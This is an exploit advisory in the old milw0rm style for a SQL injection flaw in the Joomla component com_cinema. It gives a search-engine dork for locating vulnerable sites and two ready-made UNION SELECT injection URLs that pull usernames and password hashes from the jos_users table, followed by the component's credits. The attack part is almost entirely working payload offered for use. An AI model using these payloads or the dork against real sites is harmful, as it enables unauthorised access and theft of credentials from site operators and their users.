`########################################## # # Joomla Component com_cinema SQL Injection # ########################################## # ##AUTHOR : S@BUN # ####HOME : http://www.milw0rm.com/author/1334 # ####BLOG : http://my.opera.com/SQL-Injection/blog/ # ####MAiL : hackturkiye.hackturkiye@gmail.com # ########################################### # # DORK 1 : allinurl: "com_cinema" # ########################################### EXPLOiT 1 : index.php?option=com_cinema&Itemid=S@BUN&func=detail&id=-99999/**/union/**/select/**/0,1,0x3a,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,concat(username,0x3a,password)/**/from/**/jos_users/* EXPLOiT 2 : index.php?option=com_cinema&Itemid=S@BUN&func=detail&id=-99999/**/union/**/select/**/0,1,0x3a,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,29,29,30,concat(username,0x3a,password)/**/from/**/jos_users/* ########################################### ------------------S@BUN-------------------# ########################################### -----hackturkiye.hackturkiye@gmail.com----# ########################################### --http://my.opera.com/SQL-Injection/blog/-# ########################################### side note: Cinema 25.03.2006 Vamba & Luscarpa Copyright 2006 by Vamba & Luscarpa. http://www.gnu.org/copyleft/gpl.html GNU/GPL webmaster@joomlaitalia.com - webmaster@webagain.net www.joomlaitalia.com - www.webagain.net 1.0 Componente Cinema per organizzare la tua videoteca. Componente realizzato sulla base di Akogallery `

Query Builder